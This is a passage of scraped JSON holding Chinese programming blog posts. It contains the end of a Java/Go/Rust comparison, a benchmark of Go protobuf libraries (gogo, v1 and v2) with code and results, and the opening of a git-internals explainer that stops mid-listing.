行成本会更高。\n对于前两个测试，Go应用程序使用的CPU比Java少20％，同时处理比java版多出38％的请求。另一方面，Rust版本使用的CPU比Go减少了57％，而处理的请求却增加了13％。\n第三次测试在设计上是占用大量CPU的资源，因此我想从中挤出CPU的每一分。Go和Rust都比Java多使用了1％的CPU。而且我认为，如果wrk不是在同一台计算机上运行，那么这三个版本都会使CPU达到100%的上限值。在内存方面，Java使用的内存比Go和Rust多2000％。Java可以处理的请求比Go多出20％，而Rust可以处理的请求比Java多出15％。\n在撰写本文时，Java编程语言已经存在了将近30年，这使得在市场上寻找Java开发人员变得相对容易。另一方面，Go和Rust都是相对较新的语言，因此与Java相比，自然而然的开发人员的数量更少些。不过，Go和Rust都拥有很大的吸引力，许多开发人员正在将它们用于新项目，并且有许多使用Go和Rust的生产中正在运行的项目，因为简单地说，就资源而言，它们比Java更有效。\n在编写本文的程序时，我同时学习了Go和Rust。就我而言，Go的学习曲线很短，因为它是一种相对容易掌握的语言，并且与其他语言相比语法很小。我只用了几天就用Go编写了程序。关于Go需要注意的一件事是编译速度，我不得不承认，与Java/C/C++/Rust等其他语言相比，它的速度非常快。该程序的Rust版本花了我大约一个星期的时间来完成，我不得不说，大部分时间都花在弄清borrow checker向我要什么上。Rust具有严格的所有权规则，但是一旦掌握了Rust的所有权和借用概念，编译器错误消息就会突然变得更加有意义。违反借阅检查规则时，Rust编译器对您大吼的原因是因为编译器希望在编译时证明已分配内存的寿命和所有权。这样做可以保证程序的安全性（例如：没有悬挂的指针，除非使用了不安全(unsafe)的代码逃离检查），并且在编译时确定了释放位置，从而消除了垃圾收集器的需求和运行时成本。当然，这是以学习Rust的所有权系统为代价的。\n在竞争方面，我认为Go是Java（通常是JVM语言）的直接竞争对手，但不是Rust的竞争对手。另一方面，Rust是Java，Go，C和C ++的重要竞争对手。\n由于他们的效率，我看到了自己将会在Go和Rust中编写更多的程序，但是很可能在Rust中编写更多的程序。两者都非常适合Web服务，CLI，系统程序（..etc）开发。但是，Rust比Go具有根本优势。它不是垃圾收集的语言，与C和C++相比，它可以安全地编写代码。例如，Go并不是特别适合用于编写OS内核，而这里又是Rust的亮点，并与C/C ++竞争，因为它们是使用OS编写的长期存在和事实上的语言。Rust与C/C++竞争的另一种方式在嵌入式世界中，我将继续进行讨论。\n感谢您的阅读！\n本文翻译自《Comparison between Java, Go, and Rust》。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/05/01/comparison-between-java-go-and-rust/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/java-vs-go-vs-rust/comparison-between-java-go-and-rust-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这是\u003ca href=\"https://tonybai.com/tag/java\"\u003eJava\u003c/a\u003e，\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e和Rust之间的比较。这不是\u003ca href=\"https://tonybai.com/2015/08/25/go-debugging-profiling-optimization/\"\u003e基准测试\u003c/a\u003e，更多是对可执行文件大小、内存使用率、CPU使用率、运行时要求等的比较，当然还有一个小的基准测试，可以看到每秒处理的请求数量，我将尝试对这些数字进行有意义的解读。\u003c/p\u003e\n\u003cp\u003e为了尝试尽可能公平比较，我在此比较中使用每种语言编写了一个Web服务。Web服务非常简单，它提供了三个REST服务端点(endpoint)。\u003c/p\u003e","title":"后端程序员一定要看的语言大比拼：Java vs. Go vs. Rust"},{"content":"近期的一个项目有对结构化数据进行序列化和反序列化的需求，该项目具有performance critical属性，因此我们在选择序列化库包时是要考虑包的性能的。\ngithub上有一个有关Go序列化方法性能比较的repo：go_serialization_benchmarks，这个repo横向比较了数十种数据序列化方法的正确性、性能、内存分配等，并给出了一个结论：推荐**gogo protobuf**。对于这样一个粗选的结果，我们是直接笑纳的^_^。接下来就是进一步对gogo protobuf做进一步探究。\n一. go protobuf v1 vs. gogo protobuf gogo protobuf是既go protobuf官方api之外的另一个go protobuf的api实现，它兼容go官方protobuf api(更准确的说是v1版本)。gogo protobuf提供了三种代码生成方式：protoc-gen-gogofast、protoc-gen-gogofaster和protoc-gen-gogoslick。究竟选择哪一个呢？这里我也写了一些benchmark来比较，并顺便将官方go protobuf api也一并加入比较了。\n我们首先安装一下gogo protobuf实现的protoc的三个插件，用于生成proto文件对应的Go包源码文件：\ngo get github.com/gogo/protobuf/protoc-gen-gofast go get github.com/gogo/protobuf/protoc-gen-gogofaster go get github.com/gogo/protobuf/protoc-gen-gogoslick 安装后，我们在**$GOPATH/bin**下将看到这三个文件(protoc-gen-go是go protobuf官方实现的代码生成插件)：\n$ls -l $GOPATH/bin|grep proto -rwxr-xr-x 1 tonybai staff 6252344 4 24 14:43 protoc-gen-go* -rwxr-xr-x 1 tonybai staff 9371384 2 28 09:35 protoc-gen-gofast* -rwxr-xr-x 1 tonybai staff 9376152 2 28 09:40 protoc-gen-gogofaster* -rwxr-xr-x 1 tonybai staff 9380728 2 28 09:40 protoc-gen-gogoslick* 为了对采用不同插件生成的数据序列化和反序列化方法进行性能基准测试，我们建立了下面repo。在repo中，每一种方法生成的代码放入独立的module中：\n$tree -L 2 -F . ├── IDL/ │ └── submit.proto ├── Makefile ├── gogoprotobuf-fast/ │ ├── go.mod │ ├── go.sum │ ├── submit/ │ └── submit_test.go ├── gogoprotobuf-faster/ │ ├── go.mod │ ├── go.sum │ ├── submit/ │ └── submit_test.go ├── gogoprotobuf-slick/ │ ├── go.mod │ ├── go.sum │ ├── submit/ │ └── submit_test.go └── goprotobuf/ ├── go.mod ├── go.sum ├── submit/ └── submit_test.go 我们的proto文件如下:\n$cat IDL/submit.proto syntax = \u0026quot;proto3\u0026quot;; option go_package = \u0026quot;.;submit\u0026quot;; package submit; message request { int64 recvtime = 1; string uniqueid = 2; string token = 3; string phone = 4; string content = 5; string sign = 6; string type = 7; string extend = 8; string version = 9; } 我们还建立了Makefile，用于简化操作：\n$cat Makefile gen-protobuf: gen-goprotobuf gen-gogoprotobuf-fast gen-gogoprotobuf-faster gen-gogoprotobuf-slick gen-goprotobuf: protoc -I ./IDL submit.proto --go_out=./goprotobuf/submit gen-gogoprotobuf-fast: protoc -I ./IDL submit.proto --gofast_out=./gogoprotobuf-fast/submit gen-gogoprotobuf-faster: protoc -I ./IDL submit.proto --gogofaster_out=./gogoprotobuf-faster/submit gen-gogoprotobuf-slick: protoc -I ./IDL submit.proto --gogoslick_out=./gogoprotobuf-slick/submit benchmark: goprotobuf-bench gogoprotobuf-fast-bench gogoprotobuf-faster-bench gogoprotobuf-slick-bench goprotobuf-bench: cd goprotobuf \u0026amp;\u0026amp; go test -bench . gogoprotobuf-fast-bench: cd gogoprotobuf-fast \u0026amp;\u0026amp; go test -bench . gogoprotobuf-faster-bench: cd gogoprotobuf-faster \u0026amp;\u0026amp; go test -bench . gogoprotobuf-slick-bench: cd gogoprotobuf-slick \u0026amp;\u0026amp; go test -bench . 针对每一种方法，我们建立一个benchmark test。benchmark test代码都是一样的，我们以gogoprotobuf-fast为例：\n// submit_test.go package protobufbench import ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;github.com/bigwhite/protobufbench_gogoprotofast/submit\u0026quot; \u0026quot;github.com/gogo/protobuf/proto\u0026quot; ) var request = submit.Request{ Recvtime: 170123456, Uniqueid: \u0026quot;a1b2c3d4e5f6g7h8i9\u0026quot;, Token: \u0026quot;xxxx-1111-yyyy-2222-zzzz-3333\u0026quot;, Phone: \u0026quot;13900010002\u0026quot;, Content: \u0026quot;Customizing the fields of the messages to be the fields that you actually want to use removes the need to copy between the structs you use and structs you use to serialize. gogoprotobuf also offers more serialization formats and generation of tests and even more methods.\u0026quot;, Sign: \u0026quot;tonybaiXZYDFDS\u0026quot;, Type: \u0026quot;submit\u0026quot;, Extend: \u0026quot;\u0026quot;, Version: \u0026quot;v1.0.0\u0026quot;, } var requestToUnMarshal []byte func init() { var err error requestToUnMarshal, err = proto.Marshal(\u0026amp;request) if err != nil { fmt.Printf(\u0026quot;marshal err:%s\\n\u0026quot;, err) os.Exit(1) } } func BenchmarkMarshal(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { _, _ = proto.Marshal(\u0026amp;request) } } func BenchmarkUnmarshal(b *testing.B) { b.ReportAllocs() var request submit.Request for i := 0; i \u0026lt; b.N; i++ { _ = proto.Unmarshal(requestToUnMarshal, \u0026amp;request) } } func BenchmarkMarshalInParalell(b *testing.B) { b.ReportAllocs() b.RunParallel(func(pb *testing.PB) { for pb.Next() { _, _ = proto.Marshal(\u0026amp;request) } }) } func BenchmarkUnmarshalParalell(b *testing.B) { b.ReportAllocs() var request submit.Request b.RunParallel(func(pb *testing.PB) { for pb.Next() { _ = proto.Unmarshal(requestToUnMarshal, \u0026amp;request) } }) } 我们看到，对每种方法生成的代码，我们都会进行顺序和并行的marshal和unmarshal基准测试。\n我们首先分别使用不同方式生成对应的go代码：\n$make gen-protobuf protoc -I ./IDL submit.proto --go_out=./goprotobuf/submit protoc -I ./IDL submit.proto --gofast_out=./gogoprotobuf-fast/submit protoc -I ./IDL submit.proto --gogofaster_out=./gogoprotobuf-faster/submit protoc -I ./IDL submit.proto --gogoslick_out=./gogoprotobuf-slick/submit 然后运行基准测试(使用macos上的go 1.14)：\n$make benchmark cd goprotobuf \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_goproto BenchmarkMarshal-8 2437068 483 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 2262229 529 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 7592120 162 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 5306744 225 ns/op 400 B/op 7 allocs/op PASS ok github.com/bigwhite/protobufbench_goproto 6.239s cd gogoprotobuf-fast \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_gogoprotofast BenchmarkMarshal-8 7186828 164 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 4706794 251 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 15107896 83.0 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 6258507 179 ns/op 400 B/op 7 allocs/op PASS ok github.com/bigwhite/protobufbench_gogoprotofast 5.449s cd gogoprotobuf-faster \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_gogoprotofaster BenchmarkMarshal-8 7036842 166 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 4666698 256 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 15444961 83.2 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 6936337 202 ns/op 400 B/op 7 allocs/op PASS ok github.com/bigwhite/protobufbench_gogoprotofaster 5.750s cd gogoprotobuf-slick \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_gogoprotoslick BenchmarkMarshal-8 6529311 176 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 4737463 252 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 15700746 81.8 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 6528390 202 ns/op 400 B/op 7 allocs/op PASS ok github.com/bigwhite/protobufbench_gogoprotoslick 5.668s 在我的macpro(4核8线程)上，我们看到两点结论：\n官方go protobuf实现生成的代码性能的确弱于gogo protobuf生成的代码，在顺序测试中，差距还较大；\n针对我预置的proto文件中数据格式，gogo protobuf的三种生成方法产生的代码的性能差异并不大，选择protoc-gen-gofast生成的代码在性能上即可满足。\n二. go protobuf v2 今年三月份初，Go官方发布了protobuf的新API版本，这个版本与原go protobuf并不兼容。新版API旨在使protobuf的类型系统与go类型系统充分融合，提供反射功能和自定义消息实现。那么该版本生成的序列/反序列化代码在性能上有提升吗？我们将其加入我们的benchmark。\n我们先下载go protobuf v2的代码生成插件(注意：由于go protobuf v1和go protobuf v2的插件名称相同，需要先备份好原先已经安装的protoc-gen-go)：\n$ go get google.golang.org/protobuf/cmd/protoc-gen-go go: found google.golang.org/protobuf/cmd/protoc-gen-go in google.golang.org/protobuf v1.21.0 然后将新安装的插件名称改为protoc-gen-gov2，这样**$GOPATH/bin**下的插件文件列表如下：\n$ls -l $GOPATH/bin/|grep proto -rwxr-xr-x 1 tonybai staff 6252344 4 24 14:43 protoc-gen-go* -rwxr-xr-x 1 tonybai staff 9371384 2 28 09:35 protoc-gen-gofast* -rwxr-xr-x 1 tonybai staff 9376152 2 28 09:40 protoc-gen-gogofaster* -rwxr-xr-x 1 tonybai staff 9380728 2 28 09:40 protoc-gen-gogoslick* -rwxr-xr-x 1 tonybai staff 8716064 4 24 14:56 protoc-gen-gov2* 在Makefile中增加针对go protobuf v2的代码生成和Benchmark target：\ngen-goprotobufv2: protoc -I ./IDL submit.proto --gov2_out=./goprotobufv2/submit goprotobufv2-bench: cd goprotobufv2 \u0026amp;\u0026amp; go test -bench . 由于go protobuf v2与v1版本不兼容，因此也无法与gogo protobuf兼容，我们需要修改一下go protobuf v2对应的submit_test.go，将导入的**“github.com/gogo/protobuf/proto”包换为“google.golang.org/protobuf/proto”**。\n重新生成代码：\n$make gen-protobuf protoc -I ./IDL submit.proto --go_out=./goprotobuf/submit protoc -I ./IDL submit.proto --gov2_out=./goprotobufv2/submit protoc -I ./IDL submit.proto --gofast_out=./gogoprotobuf-fast/submit protoc -I ./IDL submit.proto --gogofaster_out=./gogoprotobuf-faster/submit protoc -I ./IDL submit.proto --gogoslick_out=./gogoprotobuf-slick/submit 运行benchmark:\n$make benchmark cd goprotobuf \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_goproto BenchmarkMarshal-8 2420620 485 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 2186240 538 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 7334412 162 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 4537429 222 ns/op 400 B/op 7 allocs/op PASS ok github.com/bigwhite/protobufbench_goproto 6.052s cd goprotobufv2 \u0026amp;\u0026amp; go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_goprotov2 BenchmarkMarshal-8 2404473 506 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 1901947 626 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 6629139 171 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11d4956] goroutine 196 [running]: google.golang.org/protobuf/internal/impl.(*messageState).protoUnwrap(0xc00007e210, 0xc000010360, 0xc00008ce01) /Users/tonybai/Go/pkg/mod/google.golang.org/protobuf@v1.21.0/internal/impl/message_reflect_gen.go:27 +0x26 google.golang.org/protobuf/internal/impl.(*messageState).Interface(0xc00007e210, 0xc00007e210, 0xc00012c000) /Users/tonybai/Go/pkg/mod/google.golang.org/protobuf@v1.21.0/internal/impl/message_reflect_gen.go:24 +0x2b google.golang.org/protobuf/proto.UnmarshalOptions.unmarshal(0x0, 0x12acc00, 0xc000010360, 0xc00012c000, 0x177, 0x177, 0x12b23e0, 0xc00007e210, 0xc000200001, 0x0, ...) /Users/tonybai/Go/pkg/mod/google.golang.org/protobuf@v1.21.0/proto/decode.go:71 +0x2c5 google.golang.org/protobuf/proto.Unmarshal(0xc00012c000, 0x177, 0x177, 0x12ac180, 0xc00007e210, 0x0, 0x0) /Users/tonybai/Go/pkg/mod/google.golang.org/protobuf@v1.21.0/proto/decode.go:48 +0x89 github.com/bigwhite/protobufbench_goprotov2.BenchmarkUnmarshalParalell.func1(0xc0004a8000) /Users/tonybai/test/go/protobuf/goprotobufv2/submit_test.go:65 +0x6a testing.(*B).RunParallel.func1(0xc0000161b0, 0xc0000161a8, 0xc0000161a0, 0xc00010c700, 0xc00004a000) /Users/tonybai/.bin/go1.14/src/testing/benchmark.go:763 +0x99 created by testing.(*B).RunParallel /Users/tonybai/.bin/go1.14/src/testing/benchmark.go:756 +0x192 exit status 2 FAIL github.com/bigwhite/protobufbench_goprotov2 4.878s make: *** [goprotobufv2-bench] Error 1 我们看到go protobuf v2并未完成所有benchmark test，在运行并行unmarshal测试中panic了。目前go protobuf v2官方并未在github开通issue，因此尚不知道哪里去提issue。于是回到test代码，再仔细看一下submit_test.go中 BenchmarkUnmarshalParalell的代码：\nfunc BenchmarkUnmarshalParalell(b *testing.B) { b.ReportAllocs() var request submit.Request b.RunParallel(func(pb *testing.PB) { for pb.Next() { _ = proto.Unmarshal(requestToUnMarshal, \u0026amp;request) } }) } 这里存在一个“问题”，那就是多goroutine会共享一个request。但在其他几个测试中同样的代码并未引发panic。我修改一下代码，将其放入for循环中：\nfunc BenchmarkUnmarshalParalell(b *testing.B) { b.ReportAllocs() b.RunParallel(func(pb *testing.PB) { for pb.Next() { var request submit.Request _ = proto.Unmarshal(requestToUnMarshal, \u0026amp;request) } }) } 再运行go protobuf v2的benchmark：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/protobufbench_goprotov2 BenchmarkMarshal-8 2348630 509 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshal-8 1913904 627 ns/op 400 B/op 7 allocs/op BenchmarkMarshalInParalell-8 7133936 175 ns/op 384 B/op 1 allocs/op BenchmarkUnmarshalParalell-8 4841752 232 ns/op 576 B/op 8 allocs/op PASS ok github.com/bigwhite/protobufbench_goprotov2 6.355s 看来的确是这个问题。\n从Benchmark结果来看，即便是与go protobuf v1相比，go protobuf v2生成的代码性能也要逊色一些，更不要说与gogo protobuf相比了。\n三. 小结 从性能角度考虑，如果要使用go protobuf api，首选gogo protobuf。\n如果从功能角度考虑，显然go protobuf v2在成熟稳定了以后，会成为Go语言功能上最为强大的protobuf API。\n本文涉及源码可以在这里下载。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/04/24/gogoprotobuf-vs-goprotobuf-v1-and-v2/","summary":"\u003cp\u003e近期的一个项目有对结构化数据进行序列化和反序列化的需求，该项目具有\u003cstrong\u003eperformance critical\u003c/strong\u003e属性，因此我们在选择序列化库包时是要考虑包的性能的。\u003c/p\u003e","title":"go protobuf v1败给了gogo protobuf，那v2呢？"},{"content":"\ngit是那个“爱骂人”的Linux之父Linus Torvalds继Linux内核后奉献给全世界程序员的第二个礼物（不能确定已经逐渐老去的Torvalds能否迸发第三春，第三次给我们一个超大惊喜^_^）。这里再强调一下，git读作**/git/，而不是/dʒit/**。\n在诞生十余载后(2005年发布第一版)，git毫无争议地成为了程序员版本管理工具的首选，它改变了全世界程序员的代码版本管理和生产协作的模式，极大促进了开源软件运动的发展。进化到今天的git已经成为了一个比较复杂的工具，多数程序员都将目光聚焦在如何记住这些命令并用好这些命令，对这些复杂命令行背后的原理却知之不多，虽然大多数程序员的确不太需要深刻了解git背后的原理^_^。\n关于git原理的文章在互联网上也呈现出“汗牛充栋”之势，有些文章“蜻蜓点水”，有些文章“事无巨细”，看后似乎都无法让我满意。结合自己对git原理的学习，我觉得多数人把握住git运作机制的几个关键概念即可，于是就有了这篇文章，我努力尝试给大家讲清楚。\n一. 我就是仓库，我拥有全部 我们首先要明确一个git与先前的版本管理工具（主要是subversion）的不同。下面是使用subversion版本管理工具时，程序员进行代码生产以及程序员间围绕代码仓库进行协作的模式：\n图：subversion代码生产和协作模式\n众所周知，subversion是基于中心版本仓库进行版本管理协作的版本管理工具。就像上图中那样，所有开发人员开始生产代码的前提是必须先从中心仓库checkout一份代码拷贝到自己本地的工作目录；而进行版本管理操作或者与他人进行协作的前提也是：中心版本仓库必须始终可用。这有点像以太网的“半双工的集线器(hub)模式”：svn中心仓库就像集线器本身，每个程序员节点就像连接到集线器上的主机；当一个程序员提交(commit)代码到中心仓库时，其他程序员不能提交，否则会出现冲突；如果中心仓库挂掉了，那么整个版本管理过程也将停止，程序员节点间无法进行协作，这就像集线器(hub)挂掉后，所有连接到hub上的主机节点间的网络也就断开无法相互通信一样。\n如果我们使用git，我们是**不需要“集线器”**的：\n图：git代码生产和协作模式\n如上图所示，git号称分布式版本管理系统，本质上是没有像subversion中那个所谓的“中心仓库”的。每个程序员都拥有一个本地git仓库，而不仅仅是一份代码拷贝，这个仓库就是一个独立的版本管理节点，它拥有程序员进行代码生产、版本管理、与其他程序员协作的全部信息。即便在一台没有网络连接的机器上，程序员也能利用该仓库完成代码生产和版本管理工作。在网络ready的情况下，任意两个git仓库之间可以进行点对点的协作，这种协作无需中间协调者(中心仓库)参与。\n二. github实现了基于git网络协作的控制平面 git实现了分布式版本管理系统，每个git仓库节点都是自治的。诸多git仓库节点一起形成了一个分布式git版本管理网络。这样的一个分布式网络存在着与普通分布式系统的类似的问题：如何发现对端节点的git仓库、如何管理和控制仓库间的访问权限等。如果说linus的git本身是这个分布式网络的数据平面工具(实现client/server间的双向数据通信)，那么这个分布式网络还缺少一个**“控制平面”**。\n而github恰恰给出了一份git分布式网络控制平面的实现：托管、发现、控制…。其名称中含有的“hub”字样让我们想起了上面的“hub模式”：\n图：github：git分布式网络控制平面的实现\n我们看到在github的git协作模式实践中，引入了“中心仓库”的概念，各个程序员的节点git仓库源于(clone于)中心仓库。但是它和subversion的“中心仓库”有着本质的不同，这个仓库只是一个“upstream”库、是一个权威库。它并不是“集线器”，也没有按照“集线器”的那种工作模式进行协作。所有程序员节点的代码生产和版本管理操作完全可以脱离该所谓“中心库”而独立实施。\n三. objects是个筐，什么都往里面装 上面都是从“宏观”谈git的一些与众不同的理念，而git原理，其实是从这一节才真正开始的^_^。\n我们知道：每个git仓库的所有数据都存储在仓库顶层路径下的**.git**目录下：\n$tree -L 1 -F . ├── COMMIT_EDITMSG ├── HEAD ├── config ├── description ├── hooks/ ├── index ├── info/ ├── logs/ ├── objects/ └── refs/ 5 directories, 5 files 而在这些目录和文件中，又以objects路径下的数据内容最多，也最为重要。在git的设计中，objects目录就是一个“筐”，git的核心对象(object)都往里面“装”。\n图：git核心数据对象类型与objects目录\n从上图中，我们看到objects中存储的最主要的有三类对象：blob、commit和tree。这时你可能还不知道它们究竟是啥。不过没关系，我们通过一个例子来做一下“对号入座”。\n我们在一个目录下建立git-internal-repo-demo目录，进入该目录，执行下面命令创建一个git仓库：\n➜ /Users/tonybai/test/git/git-internal-repo-demo git:(master) ✗ $git init . Initialized empty Git repository in /Users/tonybai/Test/git/git-internal-repo-demo/.git/ 这是一个处于初始状态的git仓库，我们看看存储git仓库数据的**.git**目录下的结构：\n➜ /Users/tonybai/test/git/git-internal-repo-demo git:(master) $tree .git .git ├── HEAD ├── config ├── description ├── hooks │ ├── applypatch-msg.sample │ ├── commit-msg.sample │ ├── fsmonitor-watchman.sample │ ├── post-update.sample │ ├── pre-applypatch.sample │ ├── pre-commit.sample │ ├── pre-push.sample │ ├── pre-rebase.sample │ ├── pre-receive.sample │ ├── prepare-commit-msg.sample │ └── update.sample ├── info │ └── exclude ├── objects │ ├── info │ └── pack └── refs ├── heads └── tags 8 directories, 15 files 这个时候，objects这个筐还是空的！我们这就为仓库添点内容：\n$mkdir -p cmd/demo 在cmd/demo目录下添加main.go文件，内容如下: // cmd/demo/main.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;hello, git\u0026quot;) } 接下来我们使用git add将cmd/demo目录加入到stage区：\n$git add . $git status On branch master No commits yet Changes to be committed: (use \u0026quot;git rm --cached \u0026lt;file\u0026gt;...\u0026quot; to unstage) new file: cmd/demo/main.go 这时我们来看一下objects这个筐是否有变化：\n├── objects │ ├── 3e │ │ └── 759ef88951df9b9b07077a7ec01f96b8e659b3 │ ├── info │ └── pack 我们有一个object已经被装入到“筐”中了。我们看到objects目录下是一些以哈希值命名的文件和目录，其中目录由两个字符组成，是每个object hash值的前两个字符。hash值后续的字符串用于命名对应的object文件。在这里我们的object的hash值(实质是sha-1算法)为3e759ef88951df9b9b07077a7ec01f96b8e659b3，于是这个对象就被放入名为3e的目录下，对应的object文件为759ef88951df9b9b07077a7ec01f96b8e659b3。\n我们使用git提供的低级命令查看一下这个object究竟是什么，其中git cat-file -t查看object的类型，git cat-file -p查看object的内容：\n$git cat-file -t 3e759ef889 blob $git cat-file -p 3e759ef889 package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;hello, git\u0026quot;) } 我们看到objects这个筐中多了一个blob类型的对象，对象内容就是前面main.go文件中内容。\n接下来，我们提交一下这次变更：\n$git commit -m\u0026quot;first commit\u0026quot; . [master (root-commit) 3062e0e] first commit 1 file changed, 7 insertions(+) create mode 100644 cmd/demo/main.go 再来看看**.git/objects**中的变化：\n├── objects │ ├── 1f │ │ └── 51fe448aacc69c0f799def9506e61ed3eb60fa │ ├── 30 │ │ └── 62e0ebad9415b704e96e5cee1542187b7ed571 │ ├── 3d │ │ └── 2045367ea40c098ec5c7688119d72d97fb09a5 │ ├── 3e │ │ └── 759ef88951df9b9b07077a7ec01f96b8e659b3 │ ├── 40 │ │ └── 6d08e1159e03ae82bcdbe1ad9f076a04a41e2b │ ├── info │ └── pack 我们看到筐里被一下子新塞入4个object。我们分别看看新增的4个object类型和内容都是什么：\n$git cat-file -t 1f51fe448a tree $git cat-file -p 1f51fe448a 100644 blob 3e759ef88951df9b9b07077a7ec01f96b8e659b3 main.go $git cat-file -t 3062e0ebad commit $git cat-file -p 3062e0ebad tree 406d08e1159e03ae82bcdbe1ad9f076a04a41e2b author Tony Bai \u0026lt;bigwhite.cn@aliyun.com\u0026gt; 1586243612 +0800 committer Tony Bai \u0026lt;bigwhite.cn@aliyun.com\u0026gt; 1586243612 +0800 first commit $git cat-file -t 3d2045367e tree $git cat-file -p 3d2045367e 040000 tree 1f51fe448aacc69c0f799def9506e61ed3eb60fa demo $git cat-file -t 406d08e115 tree $git cat-file -p 406d08e115 040000 tree 3d2045367ea40c098ec5c7688119d72d97fb09a5 cmd 这里我们看到了另外两种类型的object被加入“筐”中：commit和tree类型。objects这个筐里目前有了5个object，我们不考虑git是以何种格式存储这些object的，我们想知道的是这几个object的关系是什么样的。请看下一小节^_^。\n四. 每个commit都是一个git仓库的快照 要理清objects“筐”中各object间的关系，就必须要把握住一个关键概念：“每个commit都是git仓库的一个快照” – 以一个commit为入口，我们能将当时objects下面的所有object联系在一起。因此，上面5个object中的那个commit对象就是我们分析各object关系的入口。我们根据上述5个object的内容将这5个object的关系组织为下面这幅示意图：\n图：commit、tree、blob对象之间的关系\n通过上图我们看到：\ncommit是对象关系图的入口；\ntree对象用于描述目录结构，每个目录节点都会用一个tree对象表示。目录间、目录文件间的层次关系会在tree对象的内容中体现；\n每个commit都会有一个root tree对象；\nblob对象为tree的叶子节点，它的内容即为文件的内容。\n上面仅是一次commit后的关系图，为了更清晰的看到多个commit对象之间关系，我们再来对git repo进行一次变更提交:\n我们创建pkg/foo目录： $mkdir -p pkg/foo 然后创建文件pkg/foo/foo.go，其内容如下： // pkg/foo/foo.go package foo import \u0026quot;fmt\u0026quot; func Foo() { fmt.Println(\u0026quot;this is foo package\u0026quot;) } 提交这次变更：\n$git add pkg $git commit -m\u0026quot;add package foo\u0026quot; . [master 6f7f08b] add package foo 1 file changed, 7 insertions(+) create mode 100644 pkg/foo/foo.go 下面是提交变更后的“筐”内的对象：\n$tree objects objects ├── 1f │ └── 51fe448aacc69c0f799def9506e61ed3eb60fa ├── 29 │ └── 3ae375dcef1952c88f35dd4d2a1d4576dea8ba ├── 30 │ └── 62e0ebad9415b704e96e5cee1542187b7ed571 ├── 3d │ └── 2045367ea40c098ec5c7688119d72d97fb09a5 ├── 3e │ └── 759ef88951df9b9b07077a7ec01f96b8e659b3 ├── 40 │ └── 6d08e1159e03ae82bcdbe1ad9f076a04a41e2b ├── 65 │ └── 